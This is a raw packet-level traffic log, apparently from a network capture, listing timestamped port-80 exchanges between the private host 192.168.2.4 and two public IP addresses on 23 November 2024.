Nov 23, 2024 11:22:25.697427034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.697477102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.698134899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.698199987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.698215961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.698240995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.698276043 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.698385954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.698523045 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.699137926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.699197054 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.699198961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.699213982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.699238062 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.699238062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.699275970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.699837923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.699879885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.700064898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.700087070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.700103045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.700108051 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.700144053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.700643063 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.700686932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.700812101 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.700856924 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.700948954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.700964928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.701009989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.701462030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.701505899 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.701708078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.701751947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.701913118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.701936007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.702016115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.702285051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.702336073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.702389002 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.702430010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.702836990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.702913046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.703023911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.703140020 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.703186035 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.703195095 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.703299999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.703838110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.703870058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.704056025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.704070091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.704071999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.704092979 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.704119921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.705002069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.705041885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.705059052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.705080032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.705112934 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.705142021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.705185890 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.705636978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.705682039 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.705718994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.705745935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.705764055 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.705768108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.705812931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.706401110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.706440926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.706549883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.706593990 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.706619024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.706634045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.706677914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.707206964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.707250118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.707348108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.707479954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.707523108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.707628965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.707665920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.708019972 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.708060026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.708111048 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.708153963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.708434105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.708540916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.708580017 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.708813906 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.708862066 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.708916903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.708956957 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.709388018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.709544897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.709585905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.709656954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.709672928 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.709688902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.709706068 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.710304976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.710494995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.710510015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.710531950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.710551977 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.710563898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.710735083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.711241007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.711289883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.711306095 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.711352110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.711388111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.711412907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.711427927 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.712100029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.712146997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.712188005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.712224007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.712238073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.712256908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.712281942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.712965965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.713015079 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.713093042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.713134050 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.713175058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.713190079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.713231087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.713742018 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.713798046 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.713943005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.713990927 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.714066029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.714082956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.714126110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.714540958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.714590073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.714631081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.714684010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.714983940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.715080023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.715121031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.715378046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.715419054 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.715492010 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.715532064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.715943098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.716085911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.716130972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.716886997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.716989994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.717026949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.717838049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.717916012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.717959881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.718759060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.718869925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.718941927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.719677925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.719760895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.719793081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.720396996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.720444918 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.720586061 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.720634937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.720642090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.720657110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.720753908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.720824957 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.720882893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.720942974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.721055031 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.721582890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.721626997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.721719027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.721735954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.721750975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.721791029 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.721806049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.722351074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.722385883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.722393036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.722456932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.722621918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.722691059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.722733974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.723419905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.723525047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.723579884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.724373102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.724486113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.724531889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.725326061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.725425005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.725466013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.726252079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.726365089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.726407051 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.727200985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.727292061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.727332115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.728235006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.728363991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.728456974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.729067087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.729195118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.729242086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.730062008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.730112076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.730171919 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.730948925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.731122017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.731173038 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.731940985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.732059956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.732101917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.732815027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.732917070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.733021021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.733761072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.733875036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.733916998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.734705925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.734788895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.734950066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.735632896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.735804081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.735846996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.736583948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.736687899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.736731052 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.737508059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.737627029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.737673044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.738513947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.738614082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.738893032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.739388943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.739496946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.739540100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.740309000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.740446091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.740742922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.741262913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.741401911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.741441011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.742197037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.742307901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.742475033 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.743139982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.743237019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.743278027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.744102001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.744229078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.744457960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.745058060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.745073080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.745140076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.745959997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.746078014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.746115923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.746925116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.747005939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.747138023 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.747849941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.748043060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.748090029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.748781919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.748832941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.749108076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.749720097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.749862909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.749921083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.750655890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.750782967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.751009941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.751615047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.751693010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.751734018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.752521992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.752659082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.752697945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.753427029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.753582001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.753628016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.754381895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.754494905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.754538059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.755369902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.755393982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.755748987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.756277084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.756355047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.756397009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.757231951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.757390976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.757451057 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.758126020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.806174994 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.830487013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.830576897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.830620050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.830897093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.830996990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.831077099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.831605911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.831700087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.831743956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.832344055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.832601070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.832643986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.832668066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.833437920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.833484888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.833519936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.834109068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.834218979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.834243059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.834870100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.834898949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.834934950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.835634947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.835675955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.835750103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.836388111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.836424112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.836437941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.837157965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.837198973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.837263107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.837923050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.837965012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.838042974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.838695049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.838743925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.838829994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.839446068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.839504004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.839560032 CET	80	49786	34.116.198.130	192.168.2.4
